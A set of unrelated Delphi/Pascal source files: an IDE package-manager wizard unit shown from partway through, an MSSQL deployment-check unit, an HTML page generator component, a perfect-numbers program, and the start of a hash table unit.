//IOTAWizard
procedure Execute;
function GetIDString : string;
function GetName : string;
function GetState : TWizardState;
//IOTANotifier
procedure AfterSave;
procedure BeforeSave;
procedure Destroyed;
procedure Modified;
public
constructor Create;
destructor Destroy; override;
end;
implementation
uses
System.TypInfo,
System.SysUtils,
VCL.Dialogs,
Spring.Container.Registration,
DPM.Core.Types,
DPM.Core.Logging,
DPM.Core.Init,
DPM.Core.Utils.Config,
DPM.Core.Package.Interfaces,
DPM.Core.Package.Installer.Interfaces,
DPM.IDE.ProjectController,
DPM.IDE.ProjectStorageNotifier,
DPM.IDE.IDENotifier,
DPM.IDE.ProjectMenu,
DPM.IDE.AddInOptions,
DPM.IDE.Options,
DPM.IDE.InstallerContext,
DPM.IDE.DesignManager;
{$R DPM.IDE.Resources.res}
{ TDPMWizard }
procedure TDPMWizard.InitContainer;
begin
try
FContainer := TContainer.Create;
FContainer.RegisterType<IDPMIDEOptions, TDPMIDEOptions>.AsSingleton();
FContainer.RegisterType<IDPMIDEMessageService,TDPMIDEMessageService>.AsSingleton();
FContainer.RegisterType<TDPMIDELogger>.Implements<IDPMIDELogger>.Implements<ILogger>.AsSingleton();
FContainer.RegisterType<IDPMProjectTreeManager, TDPMProjectTreeManager>.AsSingleton();
FContainer.RegisterType<IDPMEditorViewManager, TDPMEditorViewManager>.AsSingleton();
FContainer.RegisterType<IDPMIDEProjectController,TDPMIDEProjectController>.AsSingleton();
FContainer.RegisterType<IDPMIDEDesignManager,TDPMIDEDesignManager>.AsSingleton();
DPM.Core.Init.InitCore(FContainer,
//replaces core registration of the IPackageInstallerContext implementation
procedure(const container : TContainer)
begin
container.RegisterType<IPackageInstallerContext, TDPMIDEPackageInstallerContext>().AsSingleton();
end);
FContainer.Build;
except
on e : Exception do
begin
FLogger.Error('Error setting up the container : ' + e.Message);
end;
end;
end;
procedure TDPMWizard.AfterSave;
begin
end;
procedure TDPMWizard.BeforeSave;
begin
end;
constructor TDPMWizard.Create;
var
storageNotifier : IOTAProjectFileStorageNotifier;
ideNotifier : IOTAIDENotifier;
projMenuNotifier : IOTAProjectMenuItemCreatorNotifier;
options : INTAAddInOptions;
projectController : IDPMIDEProjectController;
dpmIDEOptions : IDPMIDEOptions;
begin
InitContainer;
FLogger := FContainer.Resolve<IDPMIDELogger>;
dpmIDEOptions := FContainer.Resolve<IDPMIDEOptions>;
if FileExists(dpmIDEOptions.FileName) then
dpmIDEOptions.LoadFromFile()
else
begin
TConfigUtils.EnsureDefaultConfigDir;
dpmIDEOptions.SaveToFile(); //create the file
end;
FLogger.Verbosity := dpmIDEOptions.LogVerbosity;
FEditorViewManager := FContainer.Resolve<IDPMEditorViewManager>;
FDPMIDEMessageService := FContainer.Resolve<IDPMIDEMessageService>;
{$IF CompilerVersion >= 32.0}
FThemeChangeNotifierId := (BorlandIDEServices as IOTAIDEThemingServices).AddNotifier(FEditorViewManager as INTAIDEThemingServicesNotifier);
{$ELSE}
FThemeChangeNotifierId := -1;
{$IFEND}
projectController := FContainer.Resolve<IDPMIDEProjectController>;
ideNotifier := TDPMIDENotifier.Create(FLogger, projectController);
FIDENotifier := (BorlandIDEServices as IOTAServices).AddNotifier(ideNotifier);
projMenuNotifier := TDPMProjectMenuNotifier.Create(FEditorViewManager);
FProjectMenuNoftifierId := (BorlandIDEServices as IOTAProjectManager).AddMenuItemCreatorNotifier(projMenuNotifier);
options := TDPMAddinOptions.Create(FContainer);
(BorlandIDEServices as INTAEnvironmentOptionsServices).RegisterAddInOptions(options);
storageNotifier := TDPMProjectStorageNotifier.Create(FLogger, projectController);
FStorageNotifierID := (BorlandIDEServices as IOTAProjectFileStorage).AddNotifier(storageNotifier);
end;
destructor TDPMWizard.Destroy;
begin
inherited;
end;
procedure TDPMWizard.Destroyed;
begin
if FStorageNotifierId > -1 then
(BorlandIDEServices as IOTAProjectFileStorage).RemoveNotifier(FStorageNotifierId);
if FIDENotifier > -1 then
(BorlandIDEServices as IOTAServices).RemoveNotifier(FIDENotifier);
if FProjectMenuNoftifierId > -1 then
(BorlandIDEServices as IOTAServices).RemoveNotifier(FProjectMenuNoftifierId);
{$IF CompilerVersion >= 32.0}
if FThemeChangeNotifierId > -1 then
(BorlandIDEServices as IOTAIDEThemingServices).RemoveNotifier(FThemeChangeNotifierId);
{$IFEND}
FDPMIDEMessageService.ShutDown;
FEditorViewManager.Destroyed; //don't try to resolve this here, errors in the rtl on 10.2
FEditorViewManager := nil;
end;
procedure TDPMWizard.Execute;
begin
end;
function TDPMWizard.GetIDString : string;
begin
result := 'DPM.IDE';
end;
function TDPMWizard.GetName : string;
begin
result := 'DPM';
end;
function TDPMWizard.GetState : TWizardState;
begin
result := [wsEnabled];
end;
procedure TDPMWizard.Modified;
begin
end;
end.
|
unit deploy;
interface
uses Classes, System.WideStrUtils, SysUtils, DCPbase64, FireDAC.Comp.Client, IniFiles, appconfig;
type
TDeploy = class
private
FConfig: TAppConfig;
public
function Decode(const Source: string): string;
function Encode(const Source: string): string;
procedure conf_save(Filename: string; Values: TStrings); overload;
procedure conf_load(Filename: string; Values: TStrings); overload;
procedure conf_save(Values: TStrings); overload;
procedure conf_load(Values: TStrings); overload;
function Validate(Params: TStrings): boolean;
public
constructor Create(AConfig: TAppConfig); reintroduce;
end;
TDeployConnection = class(TFDConnection)
private
procedure _connect;
procedure _disconnect;
public
function Connect(Conf: TStrings): boolean; overload;
function Connect(Conf: TStrings; DatabaseName: string): boolean; overload;
function DeployTables(): boolean;
function QueryDatabasePath(): string;
function CreateTable(TableName: string; SQL: TStrings): integer;
function ExistsTable(TableName: string): boolean;
function ExistsObjects(const DatabaseName: string; const Names: array of string; const Ident: string): boolean;
function ExistsDatabase(DatabaseName: string): boolean; overload;
function ExistsDatabase: boolean; overload;
function CreateDatabase(DatabaseName: string; SQL: TStrings): integer;
function Execute(SQL: TStrings): integer;
end;
function DeployValidate(AConfig: TAppConfig): boolean;
function sname2name(const Name: string): string;
function nameisfile(const Name: string): boolean;
const
ctables: array [0 .. 5] of string = ('Warehouse', 'Place', 'Shipment', 'Goods', 'Doc', 'DocLink');
cproc: array [0 .. 3] of string = ('date2int', 'time2int', 'dateOver', 'datetimeOver');
ctrigger: array [0 .. 1] of string = ('PlaceIdUPDATE', 'WarehouseIdUPDATE');
implementation
function DeployValidate(AConfig: TAppConfig): boolean;
var
st: TStrings;
dp: TDeploy;
begin
Result := false;
if not Assigned(AConfig) then
exit;
st := TStringList.Create;
dp := TDeploy.Create(AConfig);
try
dp.conf_load(st);
Result := dp.Validate(st);
finally
dp.Free;
st.Free;
end;
end;
function sqlstr(const Source: string): string;
var
n: integer;
begin
Result := Trim(Source);
n := pos('/*', Result);
if n > 0 then
Result := Trim(copy(Result, 1, n - 1));
end;
// TDeploy
constructor TDeploy.Create(AConfig: TAppConfig);
begin
inherited Create;
FConfig := AConfig;
end;
function TDeploy.Decode(const Source: string): string;
begin
Result := String(Base64DecodeStr(RawByteString(Source)));
end;
function TDeploy.Encode(const Source: string): string;
begin
Result := String(Base64EncodeStr(RawByteString(Source)));
end;
procedure TDeploy.conf_load(Values: TStrings);
begin
if Assigned(FConfig) then
if FConfig.Open then
begin
Values.Values['Database\Server'] := FConfig.Read('Database', 'Server', Values.Values['Database\Server']);
Values.Values['Database\Name'] := FConfig.Read('Database', 'Name', Values.Values['Database\Name']);
Values.Values['Database\Account'] := FConfig.Read('Database', 'Account', Values.Values['Database\Account']);
Values.Values['Database\Password'] := Decode(FConfig.Read('Database', 'Password', Encode(Values.Values['Database\Password'])));
FConfig.Close;
end;
end;
procedure TDeploy.conf_save(Values: TStrings);
begin
if Assigned(FConfig) then
if FConfig.Open then
begin
FConfig.Write('Database', 'Server', Values.Values['Database\Server']);
FConfig.Write('Database', 'Name', Values.Values['Database\Name']);
FConfig.Write('Database', 'Account', Values.Values['Database\Account']);
FConfig.Write('Database', 'Password', Encode(Values.Values['Database\Password']));
FConfig.Close;
end;
end;
procedure TDeploy.conf_save(Filename: string; Values: TStrings);
var f: TIniFile;
begin
if not nameisfile(Filename) then begin
FConfig.Filename := Filename;
conf_save(Values);
end
else begin
f := TIniFile.Create(Filename);
try
f.WriteString('Database', 'Server', Values.Values['Database\Server']);
f.WriteString('Database', 'Name', Values.Values['Database\Name']);
f.WriteString('Database', 'Account', Values.Values['Database\Account']);
f.WriteString('Database', 'Password', Encode(Values.Values['Database\Password']));
finally
f.Free;
end;
end;
end;
procedure TDeploy.conf_load(Filename: string; Values: TStrings);
begin
if not nameisfile(Filename) then begin
FConfig.Filename := Filename;
conf_load(Values);
end
else if FileExists(Filename) then
with TIniFile.Create(Filename) do begin
Values.Values['Database\Server'] := ReadString('Database', 'Server', Values.Values['Database\Server']);
Values.Values['Database\Name'] := ReadString('Database', 'Name', Values.Values['Database\Name']);
Values.Values['Database\Account'] := ReadString('Database', 'Account', Values.Values['Database\Account']);
Values.Values['Database\Password'] := Decode(ReadString('Database', 'Password', Encode(Values.Values['Database\Password'])));
Free;
end;
end;
function TDeploy.Validate(Params: TStrings): boolean;
var
conn: TDeployConnection;
begin
Result := false;
conn := TDeployConnection.Create(nil);
try
if conn.Connect(Params) then
if conn.DeployTables() then
begin
Result := true;
end;
finally
conn.Free;
end;
end;
// TDeployConnection
procedure TDeployConnection._connect;
begin
try
LoginPrompt := false;
Connected := true;
except
end;
end;
procedure TDeployConnection._disconnect;
begin
try
Connected := false;
except
end;
end;
function TDeployConnection.Connect(Conf: TStrings): boolean;
var
dbname: string;
begin
Result := false;
dbname := Trim(Conf.Values['Database\Name']);
if dbname <> 'master' then
begin
Result := Connect(Conf, dbname);
end;
end;
function TDeployConnection.Connect(Conf: TStrings; DatabaseName: string): boolean;
begin
Result := false;
_disconnect;
if DatabaseName <> '' then
if Trim(Conf.Values['Database\Server']) <> '' then
if Trim(Conf.Values['Database\Account']) <> '' then
if Trim(Conf.Values['Database\Password']) <> '' then
begin
DriverName := 'MSSQL';
Params.DriverID := 'MSSQL';
Params.Values['Server'] := Trim(Conf.Values['Database\Server']);
Params.Values['Database'] := Trim(DatabaseName);
Params.Values['User_Name'] := Trim(Conf.Values['Database\Account']);
Params.Values['Password'] := Trim(Conf.Values['Database\Password']);
if ExistsDatabase then
begin
_connect;
end;
Result := Connected;
end;
end;
function sname2name(const Name: string): string;
var
j: integer;
begin
Result := Name;
j := pos('.', Result);
while j > 0 do
begin
Result := copy(Result, j + 1);
j := pos('.', Result);
end;
j := pos('[', Result);
if j > 0 then
begin
Result := copy(Result, j + 1);
j := pos(']', Result);
if j > 0 then
begin
Result := copy(Result, 1, j - 1);
end;
end;
Result := AnsiLowerCase(Trim(Result));
end;
function nameisfile(const Name: string): boolean;
begin
Result := false;
if Length(Name)>3 then
if Name[2]=':' then begin
Result := true;
end;
end;
function TDeployConnection.Execute(SQL: TStrings): integer;
var
q: TFDQuery;
j: integer;
s: string;
begin
Result := -1;
if (not Connected) then
exit;
Result := 0;
q := TFDQuery.Create(Self);
try
q.Connection := Self;
for j := 0 to SQL.Count - 1 do
begin
s := sqlstr(SQL[j]);
if s <> '' then
begin
if s = 'GO' then
begin
if q.SQL.Count > 0 then
begin
q.ExecSQL;
Inc(Result);
q.SQL.Clear;
end;
end else if copy(s, 1, 4) <> 'USE ' then
begin
q.SQL.Add(s);
end;
end;
end;
if q.SQL.Count > 0 then
begin
q.ExecSQL;
Inc(Result);
end;
finally
q.Free;
end;
end;
function TDeployConnection.CreateTable(TableName: string; SQL: TStrings): integer;
var
q: TFDQuery;
j: integer;
s: string;
begin
Result := -1;
if ExistsTable(TableName) then
Result := 0;
if (Result >= 0) or (not Connected) then
exit;
q := TFDQuery.Create(Self);
try
q.Connection := Self;
for j := 0 to SQL.Count - 1 do
begin
s := sqlstr(SQL[j]);
if s <> '' then
begin
if s = 'GO' then
begin
if q.SQL.Count > 0 then
q.ExecSQL;
q.SQL.Clear;
end else if copy(s, 1, 4) <> 'USE ' then
begin
s := WideStringReplace(s, '%name%', TableName, [rfReplaceAll]);
q.SQL.Add(s);
end;
end;
end;
if q.SQL.Count > 0 then
q.ExecSQL;
if ExistsTable(TableName) then
Result := 1;
finally
q.Free;
end;
end;
function TDeployConnection.ExistsTable(TableName: string): boolean;
var
list: TStrings;
j: integer;
begin
Result := false;
list := TStringList.Create;
try
GetTableNames('', '', '', list);
TableName := sname2name(TableName);
j := 0;
while j < list.Count do
begin
if sname2name(list[j]) = TableName then
begin
Result := true;
j := list.Count;
end;
Inc(j);
end;
finally
list.Free;
end;
end;
function TDeployConnection.ExistsObjects(const DatabaseName: string; const Names: array of string; const Ident: string): boolean;
var
q: TFDQuery;
j: integer;
lname,ldb: string;
begin
Result := true;
ldb := Trim(DatabaseName);
if ldb<>'' then ldb := ldb+'.';
q := TFDQuery.Create(Self);
try
q.Connection := Self;
j := 0;
while j < Length(Names) do
begin
lname := Names[j];
q.SQL.Text := Format('select OBJECT_ID (N''%sdbo.%s'', N''%s'') as n', [ldb, lname, Ident]);
q.Open;
if q.Fields[0].IsNull then
begin
j := Length(Names);
Result := false;
end;
q.Close;
Inc(j);
end;
finally
q.Free;
end;
end;
function TDeployConnection.ExistsDatabase(DatabaseName: string): boolean;
var
list: TStrings;
j: integer;
begin
Result := false;
list := TStringList.Create;
try
GetCatalogNames('', list);
DatabaseName := sname2name(DatabaseName);
j := 0;
while j < list.Count do
begin
if sname2name(list[j]) = DatabaseName then
begin
Result := true;
j := list.Count;
end;
Inc(j);
end;
finally
list.Free;
end;
end;
function TDeployConnection.ExistsDatabase: boolean;
var
dbname: string;
begin
Result := false;
if Connected then
begin
Result := true;
exit;
end;
dbname := Trim(Params.Values['Database']);
if dbname <> '' then
begin
Params.Values['Database'] := 'master';
_connect;
if Connected then
if ExistsDatabase(dbname) then
begin
Result := true;
end;
end;
Params.Values['Database'] := dbname;
end;
function TDeployConnection.CreateDatabase(DatabaseName: string; SQL: TStrings): integer;
var
q: TFDQuery;
j: integer;
dbpath, s: string;
begin
Result := -1;
if ExistsDatabase(DatabaseName) then
Result := 0;
if (Result >= 0) or (not Connected) then
exit;
dbpath := QueryDatabasePath();
if dbpath = '' then
exit;
dbpath := copy(dbpath, 1, Length(dbpath) - 1);
q := TFDQuery.Create(Self);
try
q.Connection := Self;
q.SQL.Assign(SQL);
for j := 0 to q.SQL.Count - 1 do
begin
s := sqlstr(q.SQL[j]);
if s = 'GO' then q.SQL[j] := ''
else if s<>'' then begin
s := WideStringReplace(WideStringReplace(s, '%dbname%', DatabaseName, [rfReplaceAll]), '%dbpath%', dbpath, [rfReplaceAll]);
q.SQL[j] := s;
end;
end;
q.ExecSQL;
if ExistsDatabase(DatabaseName) then
Result := 1;
finally
q.Free;
end;
end;
function TDeployConnection.QueryDatabasePath(): string;
var
q: TFDQuery;
begin
Result := '';
if (not Connected) then
exit;
q := TFDQuery.Create(Self);
try
q.Connection := Self;
q.SQL.Add('SELECT TOP(1) create_date, m.physical_name AS FileName');
q.SQL.Add('FROM sys.databases d JOIN sys.master_files m ON d.database_id = m.database_id');
q.SQL.Add('WHERE m.[type] = 0');
q.SQL.Add('ORDER BY d.create_date DESC;');
q.Open;
Result := Trim(q.Fields[1].AsString);
if Result <> '' then
begin
Result := ExtractFilePath(Result);
end;
finally
q.Free;
end;
end;
function TDeployConnection.DeployTables(): boolean;
var
j: integer;
begin
Result := false;
for j := 0 to Length(ctables) - 1 do
begin
if not ExistsTable(ctables[j]) then
exit;
end;
if ExistsObjects('', cproc, 'FN') then
if ExistsObjects('', ctrigger, 'TR') then
begin
Result := true;
end;
end;
end.
|
unit ThHtmlPage;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls,
ThInterfaces, ThCssStyle, ThStyledCtrl, ThHtmlDocument, ThHeaderComponent,
ThPanel, ThStructuredHtml, ThStyleSheet, ThAnchorStyles, ThMessages,
ThJavaScript;
type
TThPageLayout = ( plFixedLeft, plCenter, plElastic );
//
TThHtmlPage = class(TComponent, IThJavaScriptable)
private
FAnchorStyles: TThAnchorStyles;
FDocument: TThHtmlDocument;
FEmitHeaders: Boolean;
FExtraHeaders: TStringList;
FHeight: Integer;
FJavaScript: TThJavaScriptEvents;
FMarginLeft: Integer;
FMarginTop: Integer;
FOnChange: TNotifyEvent;
FPageLayout: TThPageLayout;
FPageTitle: string;
FPanel: TThPanel;
FStructuredHtml: TThStructuredHtml;
FStyle: TThCssStyle;
FUseMargins: Boolean;
FWidth: Integer;
FStyleSheet: TThStyleSheet;
function GetBoundsRect: TRect;
protected
function GetBody: string;
function GetBodyEnd: string;
function GetBodyStart: string;
function GetBodyStyle: string;
function GetClientRect: TRect;
function GetContainer: TWinControl;
function GetGeneratorHtml: string;
function GetHtml: string;
function GetInlineBodyStyle: string;
function GetJavaScript: TThJavaScriptEvents;
function GetTitle: string;
procedure SetAnchorStyles(const Value: TThAnchorStyles);
procedure SetExtraHeaders(const Value: TStringList);
procedure SetHeight(const Value: Integer);
procedure SetJavaScript(const Value: TThJavaScriptEvents);
procedure SetMarginLeft(const Value: Integer);
procedure SetMarginTop(const Value: Integer);
procedure SetPageLayout(const Value: TThPageLayout);
procedure SetPageTitle(const Value: string);
procedure SetPanel(const Value: TThPanel);
procedure SetStyle(const Value: TThCssStyle);
procedure SetStyleSheet(const Value: TThStyleSheet);
procedure SetUseMargins(const Value: Boolean);
procedure SetWidth(const Value: Integer);
protected
procedure CreateJavaScript; virtual;
function GeneratePageTable(const inContent: string): string;
procedure GenerateHeaders; virtual;
procedure GenerateStyles; virtual;
procedure Notification(AComponent: TComponent;
Operation: TOperation); override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure Change;
procedure PublishComponents(inContainer: TWinControl);
procedure SetDefaultMargins;
procedure StyleChanged(inSender: TObject);
public
property BoundsRect: TRect read GetBoundsRect;
property ClientRect: TRect read GetClientRect;
property Container: TWinControl read GetContainer;
property Document: TThHtmlDocument read FDocument;
property Html: string read GetHtml;
property OnChange: TNotifyEvent read FOnChange write FOnChange;
property StructuredHtml: TThStructuredHtml read FStructuredHtml;
published
property AnchorStyles: TThAnchorStyles read FAnchorStyles
write SetAnchorStyles;
property EmitHeaders: Boolean read FEmitHeaders write FEmitHeaders
default true;
property ExtraHeaders: TStringList read FExtraHeaders write SetExtraHeaders;
property JavaScript: TThJavaScriptEvents read GetJavaScript
write SetJavaScript;
property MarginLeft: Integer read FMarginLeft write SetMarginLeft
default 10;
property MarginTop: Integer read FMarginTop write SetMarginTop
default 16;
property Height: Integer read FHeight write SetHeight
default 800;
property UseMargins: Boolean read FUseMargins write SetUseMargins
default false;
property Width: Integer read FWidth write SetWidth
default 600;
property PageLayout: TThPageLayout read FPageLayout write SetPageLayout;
property PageTitle: string read FPageTitle write SetPageTitle;
property Panel: TThPanel read FPanel write SetPanel;
property Style: TThCssStyle read FStyle write SetStyle;
property StyleSheet: TThStyleSheet read FStyleSheet write SetStyleSheet;
end;
function ThFindHtmlPage(inCtrl: TControl): TThHtmlPage;
implementation
uses
ThVclUtils, ThComponentIterator, ThTag, ThGenerator;
function ThFindHtmlPage(inCtrl: TControl): TThHtmlPage;
begin
ThFindElderComponent(Result, inCtrl, TThHtmlPage);
end;
{ TThHtmlPage }
constructor TThHtmlPage.Create(AOwner: TComponent);
begin
inherited;
FWidth := 600;
FHeight := 800;
FStructuredHtml := TThStructuredHtml.Create;
FStyle := TThCssStyle.Create(Self);
FStyle.OnChanged := StyleChanged;
FExtraHeaders := TStringList.Create;
FEmitHeaders := true;
FAnchorStyles := TThAnchorStyles.Create;
CreateJavaScript;
SetDefaultMargins;
end;
destructor TThHtmlPage.Destroy;
begin
FAnchorStyles.Free;
FExtraHeaders.Free;
FJavaScript.Free;
FStructuredHtml.Free;
FStyle.Free;
inherited;
end;
procedure TThHtmlPage.CreateJavaScript;
begin
FJavaScript := TThJavaScriptEvents.Create(Self);
FJavaScript.Clear;
FJavaScript.AddEvent.EventName := 'onBlur';
FJavaScript.AddEvent.EventName := 'onFocus';
FJavaScript.AddEvent.EventName := 'onLoad';
FJavaScript.AddEvent.EventName := 'onUnload';
end;
procedure TThHtmlPage.Change;
begin
if Assigned(OnChange) then
OnChange(Self);
end;
function TThHtmlPage.GetTitle: string;
begin
if PageTitle <> '' then
Result := PageTitle
else
Result := TPanel(Container).Caption;
end;
function TThHtmlPage.GeneratePageTable(const inContent: string): string;
begin
with TThTag.Create('table') do
try
Add('border', 0);
Add('cellspacing', 0);
Add('cellpadding', 0);
case PageLayout of
plElastic: Add('width', '100%');
else Add('width', GetContainer.Width);
end;
if (PageLayout = plCenter) then
Add('align', 'center');
{
if PageLayout <> plElastic then
begin
Add('width', GetContainer.Width);
if PageLayout = plCenter then
Add('align', 'center');
end;
}
Content := '<tr><td>'#13 + inContent + #13'</td></tr>';
Result := Html;
finally
Free;
end;
end;
function TThHtmlPage.GetGeneratorHtml: string;
begin
with TThGenerator.Create(GetContainer) do
try
with Margins do
Margins := Rect(Left + MarginLeft, Top + MarginTop, Right - MarginLeft,
Bottom - MarginTop);
Result := Html;
finally
Free;
end;
end;
function TThHtmlPage.GetBody: string;
begin
if Panel <> nil then
Result := Panel.HTML
else
Result := GetGeneratorHtml;
//if PageLayout <> plElastic then
Result := GeneratePageTable(Result);
end;
function TThHtmlPage.GetInlineBodyStyle: string;
begin
Result := '';
ThCat(Result, Style.Font.InlineAttribute);
//ThCat(Result, InlineColorAttribute);
//ThCat(Result, FBackground.InlineAttribute);
ThCat(Result, Style.Border.InlineAttribute);
ThCat(Result, Style.Padding.InlineAttribute);
end;
function TThHtmlPage.GetBodyStyle: string;
begin
Result := Format(' margin: %dpx %dpx %dpx %dpx',
[ MarginTop, MarginLeft, MarginTop, MarginLeft ]);
//Result := 'td, body { ' + Style.InlineAttribute + Result + ' }';
Result := 'td, body { ' + GetInlineBodyStyle + Result + ' }';
end;
procedure TThHtmlPage.PublishComponents(inContainer: TWinControl);
var
p: IThPublishable;
begin
with TThComponentIterator.Create(inContainer) do
try
while Next do
begin
if ThIsAs(Component, IThPublishable, p) then
p.Publish(StructuredHtml);
if Component is TWinControl then
PublishComponents(TWinControl(Component));
end;
finally
Free;
end;
end;
procedure TThHtmlPage.GenerateHeaders;
begin
StructuredHtml.Title.Text := GetTitle;
StructuredHtml.Headers.AddStrings(ExtraHeaders);
StructuredHtml.Styles.Add(GetBodyStyle);
end;
procedure TThHtmlPage.GenerateStyles;
begin
if StyleSheet <> nil then
begin
StyleSheet.Styles.GenerateStyles(StructuredHtml.Styles);
AnchorStyles.GenerateStyles(StructuredHtml.Styles, StyleSheet);
end;
end;
function TThHtmlPage.GetBodyStart: string;
begin
with TThTag.Create('body') do
try
Mono := false;
Attributes.AddColor('bgcolor', Style.Color);
JavaScript.ListAttributes('body', Attributes);
Result := OpenTag;
finally
Free;
end;
end;
function TThHtmlPage.GetBodyEnd: string;
begin
Result := '</body>';
end;
function TThHtmlPage.GetHtml: string;
begin
StructuredHtml.NewDocument;
StructuredHtml.BodyOnly := not EmitHeaders;
if EmitHeaders then
begin
GenerateHeaders;
StructuredHtml.Body.Add(GetBodyStart);
end;
StructuredHtml.Body.Add(GetBody);
if EmitHeaders then
StructuredHtml.Body.Add(GetBodyEnd);
PublishComponents(Container);
GenerateStyles;
Result := StructuredHtml.PublishToString;
end;
procedure TThHtmlPage.SetDefaultMargins;
begin
FMarginLeft := 10;
FMarginTop := 16;
end;
procedure TThHtmlPage.SetExtraHeaders(const Value: TStringList);
begin
FExtraHeaders.Assign(Value);
end;
procedure TThHtmlPage.SetHeight(const Value: Integer);
begin
FHeight := Value;
Change;
end;
procedure TThHtmlPage.SetMarginLeft(const Value: Integer);
begin
if (FMarginLeft <> Value) then
UseMargins := true;
FMarginLeft := Value;
Change;
end;
procedure TThHtmlPage.SetMarginTop(const Value: Integer);
begin
if (FMarginTop <> Value) then
UseMargins := true;
FMarginTop := Value;
Change;
end;
procedure TThHtmlPage.SetPageLayout(const Value: TThPageLayout);
begin
FPageLayout := Value;
end;
procedure TThHtmlPage.SetPageTitle(const Value: string);
begin
FPageTitle := Value;
end;
procedure TThHtmlPage.SetStyle(const Value: TThCssStyle);
begin
FStyle.Assign(Value);
Change;
end;
procedure TThHtmlPage.SetUseMargins(const Value: Boolean);
begin
FUseMargins := Value;
if not Value then
SetDefaultMargins;
Change;
end;
procedure TThHtmlPage.SetWidth(const Value: Integer);
begin
FWidth := Value;
Change;
end;
procedure TThHtmlPage.StyleChanged(inSender: TObject);
begin
Change;
if Owner is TWinControl then
ThNotifyAll(TWinControl(Owner), THM_STYLECHANGE, Style);
end;
procedure TThHtmlPage.SetPanel(const Value: TThPanel);
begin
if FPanel <> nil then
FPanel.RemoveFreeNotification(Self);
FPanel := Value;
if FPanel <> nil then
FPanel.FreeNotification(Self);
end;
function TThHtmlPage.GetContainer: TWinControl;
begin
Result := TWinControl(Self.Owner);
end;
procedure TThHtmlPage.SetAnchorStyles(const Value: TThAnchorStyles);
begin
FAnchorStyles.Assign(Value);
end;
procedure TThHtmlPage.SetStyleSheet(const Value: TThStyleSheet);
begin
if FStyleSheet <> nil then
FStyleSheet.RemoveFreeNotification(Self);
FStyleSheet := Value;
if FStyleSheet <> nil then
FStyleSheet.FreeNotification(Self);
StyleChanged(Self);
end;
procedure TThHtmlPage.Notification(AComponent: TComponent;
Operation: TOperation);
begin
inherited;
if Operation = opRemove then
begin
if AComponent = FStyleSheet then
FStyleSheet := nil
else if AComponent = FPanel then
FPanel := nil;
end;
end;
function TThHtmlPage.GetClientRect: TRect;
begin
Result := Rect(MarginLeft, MarginTop,
Width - MarginLeft - MarginLeft, Height - MarginTop - MarginTop);
end;
function TThHtmlPage.GetBoundsRect: TRect;
begin
Result := Rect(MarginLeft, MarginTop,
Width - MarginLeft, Height - MarginTop);
end;
procedure TThHtmlPage.SetJavaScript(const Value: TThJavaScriptEvents);
begin
FJavaScript.Assign(Value);
end;
function TThHtmlPage.GetJavaScript: TThJavaScriptEvents;
begin
Result := FJavaScript;
end;
end.
|
program PerfectNumbers;
function isPerfect(number: longint): boolean;
var
i, sum: longint;
begin
sum := 1;
for i := 2 to round(sqrt(real(number))) do
if (number mod i = 0) then
sum := sum + i + (number div i);
isPerfect := (sum = number);
end;
var
candidate: longint;
begin
writeln('Perfect numbers from 1 to 33550337:');
for candidate := 2 to 33550337 do
if isPerfect(candidate) then
writeln (candidate, ' is a perfect number.');
end.
|
Unit Hashtables;
Interface
Uses
StringSupport,
AdvObjects, AdvExceptions;
Type
THashTable = Class;
THashTableEnumerator = Class;
THashKey = Int64;
THashValue = Int64;
THashEntry = Record
HashCode : Integer;
Next : Integer;
Key : THashKey;
Value : THashValue;
End;
TIntegerArray = Array Of Integer;
THashEntryArray = Array Of THashEntry;
THashTable = Class(TAdvObject)
Private
FVersion : Integer;
FCount : Integer;
FFreeCount : Integer;
FFreeList : Integer;
FBuckets : TIntegerArray;
FEntries : THashEntryArray;
Function GetCount : Integer;
Protected
Procedure Initialize(iCapacity : Integer);
Procedure Resize; Overload;
Procedure Resize(iNewSize : Integer; bRehash : Boolean); Overload;
Procedure Insert(Const aKey : THashKey; Const aValue : THashValue; bAdd : Boolean);
Function FindEntry(Const aKey : THashKey) : Integer;
Public
Constructor Create; Overload; Override;
Constructor Create(iCapacity : Integer); Overload;
Procedure Add(Const aKey : THashKey; Const aValue : THashValue);
Function TryGetValue(Const aKey : THashKey; Out aValue : THashValue) : Boolean;
Function Remove(Const aKey : THashKey) : Boolean;
Function GetEnumerator : THashTableEnumerator;
Property Count : Integer Read GetCount;
End;
THashTableEnumerator = Class(TAdvObject)
Private
FCurrentKey : THashKey;
FCurrentValue : THashValue;
FHashTable : THashTable;
FVersion : Integer;
FIndex : Integer;
Public
Constructor Create; Override;
Function MoveNext : Boolean;
Property CurrentKey : THashKey Read FCurrentKey;
Property CurrentValue : THashValue Read FCurrentValue;
End;
TCacheTableLocker = Class(TAdvObject)
End;
TCacheEntry = Class(TAdvObject)
End;
TCacheTable = Class(TAdvObject)
End;
Implementation
Const
KNOWN_PRIMES : Array[0..71] Of Integer = (
3, 7, 11, $11, $17, $1d, $25, $2f, $3b, $47, $59, $6b, $83, $a3, $c5, $ef,
$125, $161, $1af, $209, $277, $2f9, $397, $44f, $52f, $63d, $78b, $91d, $af1, $d2b, $fd1, $12fd,
$16cf, $1b65, $20e3, $2777, $2f6f, $38ff, $446f, $521f, $628d, $7655, $8e01, $aa6b, $cc89, $f583, $126a7, $1619b,
$1a857, $1fd3b, $26315, $2dd67, $3701b, $42023, $4f361, $5f0ed, $72125, $88e31, $a443b, $c51eb, $ec8c1, $11bdbf, $154a3f, $198c4f,
$1ea867, $24ca19, $2c25c1, $34fa1b, $3f928f, $4c4987, $5b8b6f, $6dda89
);
Function GetPrime(iMin : Integer) : Integer;
Var
iIndex : Integer;
Begin
iIndex := 0;
While KNOWN_PRIMES[iIndex] < iMin Do
Inc(iIndex);
If iIndex < Length(KNOWN_PRIMES) Then
Result := KNOWN_PRIMES[iIndex]
Else
Begin
// TODO: Calculate larger primes
Raise EAdvException.Create('Not implemented');
End;
End;
Function GetHashCode(Const aValue : THashKey) : Integer;
Begin
Result := (Integer(aValue Shr 32)) Xor (Integer(aValue));
End;
Function KeyEquals(Const aValue, bValue : THashKey) : Boolean;
Begin
Result := aValue = bValue;
End;
Function KeyToString(Const aValue : THashKey) : String;
Begin
Result := StringFormat('%d', [aValue]);
End;
Function THashTable.GetCount : Integer;
Begin
Result := FCount - FFreeCount;
End;
Procedure THashTable.Initialize(iCapacity : Integer);
Var
iPrime, iLoop : Integer;
Begin
iPrime := GetPrime(iCapacity);
SetLength(FBuckets, iPrime);
